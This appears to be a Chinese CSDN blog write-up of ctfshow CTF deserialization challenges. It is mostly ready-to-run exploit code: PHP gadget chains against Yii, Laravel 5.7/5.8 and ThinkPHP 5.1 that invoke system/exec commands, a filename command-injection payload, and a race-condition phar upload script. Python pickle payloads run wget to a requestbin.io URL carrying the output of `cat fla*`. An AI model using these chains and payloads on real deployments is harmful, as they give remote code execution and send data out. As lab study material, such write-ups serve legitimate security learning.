• ctfshow 反序列化篇(下)


    web267(yii框架)

    开启靶机,是一个网站,试着搜索有没有重要信息。在这里发现是yii框架。

     我们使用弱口令admin/admin就可以登录进来了,那就继续收集重要信息。在源代码中发现了重要注释。

    让我们传一个view-source参数。

    出现了传参点,百度搜索yii反序列化漏洞,有相关的poc可以直接打。想知道构造思路可以看这篇文章: yii框架反序列化

    相关poc为:

    1. namespace yii\rest{
    2. class CreateAction{
    3. public $checkAccess;
    4. public $id;
    5. public function __construct(){
    6. $this->checkAccess = 'shell_exec';
    7. $this->id = 'cp /fla* 1.txt';
    8. }
    9. }
    10. }
    11. namespace Faker{
    12. use yii\rest\CreateAction;
    13. class Generator{
    14. protected $formatters;
    15. public function __construct(){
    16. $this->formatters['close'] = [new CreateAction(), 'run'];
    17. }
    18. }
    19. }
    20. namespace yii\db{
    21. use Faker\Generator;
    22. class BatchQueryResult{
    23. private $_dataReader;
    24. public function __construct(){
    25. $this->_dataReader = new Generator;
    26. }
    27. }
    28. }
    29. namespace{
    30. echo base64_encode(serialize(new yii\db\BatchQueryResult));
    31. }
    32. ?>

    因为执行查看命令是没有回显的,所以我们可以将执行结果cp到新的文件,再访问新的文件就可以了。那么本地生成payload直接打。注意参数。

    web286(yii加强版)

    打开题目一样的网站,287的加强版。前面找传参点都是一样的。试了一下上一题用的payload,发现不行了。打过补丁。还是在网上找exp来做。上exp吧。

    1. namespace yii\rest{
    2. class CreateAction{
    3. public $checkAccess;
    4. public $id;
    5. public function __construct(){
    6. $this->checkAccess = 'exec';
    7. $this->id = 'cp /fla* 1.txt';
    8. }
    9. }
    10. }
    11. namespace Faker{
    12. use yii\rest\CreateAction;
    13. class Generator{
    14. protected $formatters;
    15. public function __construct(){
    16. // 这里需要改为isRunning
    17. $this->formatters['isRunning'] = [new CreateAction(), 'run'];
    18. }
    19. }
    20. }
    21. namespace Codeception\Extension{
    22. use Faker\Generator;
    23. class RunProcess{
    24. private $processes;
    25. public function __construct()
    26. {
    27. $this->processes = [new Generator()];
    28. }
    29. }
    30. }
    31. namespace{
    32. echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
    33. }
    34. ?>

    之后自己还得复现一下。

    web269(yii加强版2)

    又是加强版,直接上poc吧。

    1. namespace yii\rest{
    2. class IndexAction{
    3. public $checkAccess;
    4. public $id;
    5. public function __construct(){
    6. $this->checkAccess = 'exec';
    7. $this->id = 'cp /fla* 1.txt';
    8. }
    9. }
    10. }
    11. namespace yii\db{
    12. use yii\web\DbSession;
    13. class BatchQueryResult
    14. {
    15. private $_dataReader;
    16. public function __construct(){
    17. $this->_dataReader=new DbSession();
    18. }
    19. }
    20. }
    21. namespace yii\web{
    22. use yii\rest\IndexAction;
    23. class DbSession
    24. {
    25. public $writeCallback;
    26. public function __construct(){
    27. $a=new IndexAction();
    28. $this->writeCallback=[$a,'run'];
    29. }
    30. }
    31. }
    32. namespace{
    33. use yii\db\BatchQueryResult;
    34. echo base64_encode(serialize(new BatchQueryResult()));
    35. }

    来自于bfengj的链子,相关文章写的很好:yii2框架 反序列化漏洞复现_bfengj的博客-CSDN博客_yii框架漏洞

    web270

    上一题师傅的链子依然能用,666

    web271(laravel5.7)

    打开题目给了代码。而且题目是给了传参点。

    考察laravel框架的反序列化。laravel源码 后期有时间复现一下。想知道链子构造建议看bfengj师傅的文章,写的太好了。laravel反序列化  直接放exp了。

    1. namespace Illuminate\Foundation\Testing{
    2. use Illuminate\Auth\GenericUser;
    3. use Illuminate\Foundation\Application;
    4. class PendingCommand
    5. {
    6. protected $command;
    7. protected $parameters;
    8. public $test;
    9. protected $app;
    10. public function __construct(){
    11. $this->command="system";
    12. $this->parameters[]="cat /flag";
    13. $this->test=new GenericUser();
    14. $this->app=new Application();
    15. }
    16. }
    17. }
    18. namespace Illuminate\Foundation{
    19. class Application{
    20. protected $bindings = [];
    21. public function __construct(){
    22. $this->bindings=array(
    23. 'Illuminate\Contracts\Console\Kernel'=>array(
    24. 'concrete'=>'Illuminate\Foundation\Application'
    25. )
    26. );
    27. }
    28. }
    29. }
    30. namespace Illuminate\Auth{
    31. class GenericUser
    32. {
    33. protected $attributes;
    34. public function __construct(){
    35. $this->attributes['expectedOutput']=['hello','world'];
    36. $this->attributes['expectedQuestions']=['hello','world'];
    37. }
    38. }
    39. }
    40. namespace{
    41. use Illuminate\Foundation\Testing\PendingCommand;
    42. echo urlencode(serialize(new PendingCommand()));
    43. }

    记得抓包打payload。flag不会回显到页面上。

    web272(laravel3.8)

    还是看文章:laravel5.8 反序列化漏洞复现_bfengj的博客-CSDN博客_laravel漏洞复现

    poc为:

    1. namespace Illuminate\Broadcasting{
    2. use Illuminate\Bus\Dispatcher;
    3. use Illuminate\Foundation\Console\QueuedCommand;
    4. class PendingBroadcast
    5. {
    6. protected $events;
    7. protected $event;
    8. public function __construct(){
    9. $this->events=new Dispatcher();
    10. $this->event=new QueuedCommand();
    11. }
    12. }
    13. }
    14. namespace Illuminate\Foundation\Console{
    15. class QueuedCommand
    16. {
    17. public $connection="cat /flag";
    18. }
    19. }
    20. namespace Illuminate\Bus{
    21. class Dispatcher
    22. {
    23. protected $queueResolver="system";
    24. }
    25. }
    26. namespace{
    27. use Illuminate\Broadcasting\PendingBroadcast;
    28. echo urlencode(serialize(new PendingBroadcast()));
    29. }

    web273(laravel5.8)

    上一个链子仍然能用。嘿嘿。

    web274(thinkphp5.1)

    终于有个我复现过的框架了。找到传参点。

    相关链子的构造可以看我这篇文章:thinkphp5.1.37反序列化链子分析_XiLitter的博客-CSDN博客

    直接放poc:

    1. namespace think;
    2. abstract class Model{
    3. protected $append = [];
    4. private $data = [];
    5. public function __construct()
    6. {
    7. $this->append = ["li"=>[]];
    8. $this->data = ["li"=>new Request()];
    9. }
    10. }
    11. namespace think\process\pipes;
    12. use think\model\Pivot;
    13. class Windows{
    14. private $files = [];
    15. public function __construct()
    16. {
    17. $this->files = [new Pivot()];
    18. }
    19. }
    20. namespace think\model;
    21. use think\model;
    22. class Pivot extends Model{
    23. }
    24. namespace think;
    25. class Request{
    26. protected $hook = [];
    27. protected $filter;
    28. protected $config;
    29. protected $param = [];
    30. public function __construct()
    31. {
    32. $this->hook = ["visible"=>[$this,"isAjax"]];
    33. $this->filter = 'system';
    34. $this->config = ["var_ajax"=>''];//对这个键名附上值
    35. $this->param = ['cat /flag'];
    36. }
    37. }
    38. use think\process\pipes\Windows;
    39. echo base64_encode(serialize(new Windows()));
    40. ?>

    web275

    打开题目给出了源码。

    1. highlight_file(__FILE__);
    2. class filter{
    3. public $filename;
    4. public $filecontent;
    5. public $evilfile=false;
    6. public function __construct($f,$fn){
    7. $this->filename=$f;
    8. $this->filecontent=$fn;
    9. }
    10. public function checkevil(){
    11. if(preg_match('/php|\.\./i', $this->filename)){
    12. $this->evilfile=true;
    13. }
    14. if(preg_match('/flag/i', $this->filecontent)){
    15. $this->evilfile=true;
    16. }
    17. return $this->evilfile;
    18. }
    19. public function __destruct(){
    20. if($this->evilfile){
    21. system('rm '.$this->filename);
    22. }
    23. }
    24. }
    25. if(isset($_GET['fn'])){
    26. $content = file_get_contents('php://input');
    27. $f = new filter($_GET['fn'],$content);
    28. if($f->checkevil()===false){
    29. file_put_contents($_GET['fn'], $content);
    30. copy($_GET['fn'],md5(mt_rand()).'.txt');
    31. unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
    32. echo 'work done';
    33. }
    34. }else{
    35. echo 'where is flag?';
    36. }

    这代码大致看就是个写入文件的操作,分别对文件名和文件内容进行了过滤,文件名不能出现php,文件内容不能出现flag。不然会删除这个文件。文件后缀不能有php,那怎么进行命令执行呢?我们仔细看这个system('rm '.$this->filename);,是不是可以构造filename来执行命令了。前面的rm用分号闭合掉就行了。那么我们构造payload。

    ?fn=;cat%20flag.php;

    不知道为什么,执行ls命令没有回显,那就直接读取flag吧。

    web276

    应该是web275的加强版。在进入system函数之前增加了admin的限制。

     admin初始化为false,那只能通过反序列化来修改属性了。那我们就需要本地生成phar文件。应该是要条件竞争了,但是我又不会写脚本,白嫖吧。脚本如下:

    1. import requests
    2. import hashlib
    3. import threading #提供多线程
    4. url="http://d3f4254c-47cc-4c23-8498-5b02fe290e2d.challenge.ctf.show/"
    5. f=open("tter.phar","rb") #打开文件
    6. content=f.read()
    7. def upload():
    8. r=requests.post(url=url+"?fn=1.phar",data=content) #上传phar文件
    9. def read():
    10. r=requests.post(url=url+"?fn=phar://1.phar/",data="1") #phar协议读取
    11. if "ctfshow{" in r.text or "flag{" in r.text:
    12. print(r.text)
    13. exit()
    14. while 1:
    15. t1=threading.Thread(target=upload)
    16. t2=threading.Thread(target=read)
    17. t1.start()
    18. t2.start() #开启线程

    成功 跑出flag。

    web277(python反序列化)

    打开题目在注释中找到传参点。

     那么我们就用__reduce__魔术方法来执行命令。相关文章:一篇文章带你理解漏洞之 Python 反序列化漏洞 | K0rz3n's Blog

    构造exp:

    1. import os
    2. import pickle
    3. import base64
    4. class abc(object):
    5. def __reduce__(self):
    6. return os.system, ('wget https://requestbin.io/1j6eke01?c=`cat fla*`',)
    7. print(base64.b64encode(pickle.dumps(abc())))

    因为执行命令是没有回显的,所以看了Y4师傅的wp将数据外带出来。一开始是用dnslog外带数据,但是一些问题没处理好就没带出来,这是用requestbin网站也可以将数据给带出来,

    这个方式成功了之后就继续尝试了一下dnslog,发现意外成功了,真玄学。

     当然有vps也可以反弹shell。

    web278(加强版)

    题目中说了过滤了os.system函数,那么我们可以用eval函数导入os。也可以用os.popen。

    1. import os
    2. import pickle
    3. import base64
    4. class abc(object):
    5. def __reduce__(self):
    6. return os.popen, ('wget https://requestbin.io/10mjkqp1?a=`cat fla*`',)
    7. print(base64.b64encode(pickle.dumps(abc())))

    这里我知道上一题出现的错误了,用python2跑的序列化串会报错,那么应该是python3环境。成功外带出数据。

     这两个python反序列化题目相对来说比较简单。

    参考链接

    传送门

  • 相关阅读:
    电脑垃圾太多?这几个清理电脑的软件来看看吗?
    深入探索Spring Boot的条件装配与条件注解
    卷S人的166页精品Java面试手册,17大java面试系列专题让你全方位暴击大厂Java面试官!
    mysql oracle统计报表每天每月每年SQL
    计算机网络原理
    深入React源码揭开渲染更新流程的面纱
    从苹果、SpaceX等高科技企业的产品发布会看企业产品战略和敏捷开发的关系
    阿里云OSS和腾讯云COS对象存储介绍和简单使用
    网络安全(黑客)自学
    Slim-neck by GSConv:自动驾驶车辆检测器架构的更好设计范式(文末附代码)
  • 原文地址:https://blog.csdn.net/m0_62422842/article/details/126157641